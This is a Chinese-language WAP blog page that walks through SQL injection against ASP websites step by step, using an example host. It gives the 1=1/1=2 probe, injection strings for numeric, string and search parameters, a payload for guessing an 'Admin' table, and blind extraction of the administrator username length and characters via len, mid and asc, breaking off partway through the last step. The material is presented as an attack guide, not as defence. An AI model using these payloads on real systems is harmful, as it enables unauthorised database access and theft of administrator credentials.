<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml>
<head>
<meta http-equiv="Cache-Control" content="max-age=0"/>
</head>
<card id="wapview" title="日志内容">
-- 日志内容 --<p>asp站点 SQL注入步骤！<br/>那么，什么样的测试方法才是比较准确呢？答案如下：<br/>以http://www.mytest.com 为例<br/>1.http://www.mytest.com/showdetail.asp?id=49 <br/>2.http://www.mytest.com/showdetail.asp?id=49 ;and 1=1 <br/>3.http://www.mytest.com/showdetail.asp?id=49 ;and 1=2<br/>这就是经典的 1=1、1=2 测试法 了，怎么判断呢？看看上面三个网址返回的结果就知道了，可以注入的表现： <br/><br/>1.正常显示（这是必然的，不然就是程序有错误了） <br/>2.正常显示，内容基本与 1 相同 <br/>3.提示 BOF 或 EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof 时）、或显示内容为空（程序加了on error resume next） <br/><br/>首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。 <br/>其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种： <br/><br/>1.ID=49 这类注入的参数是数字型，SQL语句原貌大致如下： <br/>Select * from 表名 wh&amp;#101;re 字段=49 <br/>注入的参数为 ID=49 And [查询条件]，即是生成语句： <br/>Select * from 表名 wh&amp;#101;re 字段=49 And [查询条件] <br/>2.Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下： <br/>Select * from 表名 wh&amp;#101;re 字段=’连续剧’ <br/>注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ，即是生成语句： <br/>Select * from 表名 wh&amp;#101;re 字段=’连续剧’ and [查询条件] and ‘’=’’ <br/>3.搜索时没过滤参数的，如 keyword=关键字，SQL语句原貌大致如下： <br/>Select * from 表名 wh&amp;#101;re 字段 lik&amp;#101; ’%关键字%’ <br/>注入的参数为 keyword=’ and [查询条件] and ‘%25’=’， 即是生成语句： <br/>Select * from 表名 wh&amp;#101;re 字段 lik&amp;#101; ’%’ and [查询条件] and ‘%’=’%’ <br/><br/>接着，将查询条件替换成SQL语句，猜解表名，例如： <br/><br/>?ID=49 And (Select Count(*) from Admin)&gt;=0 <br/> 表名猜出来后，将 Count(*) 替换成 Count(字段名)<br/><br/>已知表 Admin 中存在 username 字段，首先，我们取第一条记录，测试长度： <br/><br/>http://www.mytest.com/showdetail.asp?id=49 ;and (sel&amp;#101;ct top 1 len(username) from Admin)&gt;0 <br/>先说明原理：如果 top 1 的 username 长度大于 0，则条件成立；接着就是 &gt;1、&gt;2、&gt;3 这样测试下去，一直到条件不成立为止，比如 &gt;7成立，&gt;8 不成立，就是 len(username)=8 <br/>在得到 username 的长度后，用 mid(username,N,1) 截取第 N 位字符，再 asc(mid(username,N,1)) 得到 ASCII 码，比如： <br/><br/>?id=49 and (sel&amp;#101;ct top 1 asc(mid(username,1,1)) from Admin)&gt;0</p><br/><a href="wapblog.asp">返回</a> | <a href="index.asp">首页</a>
</card>
</wml>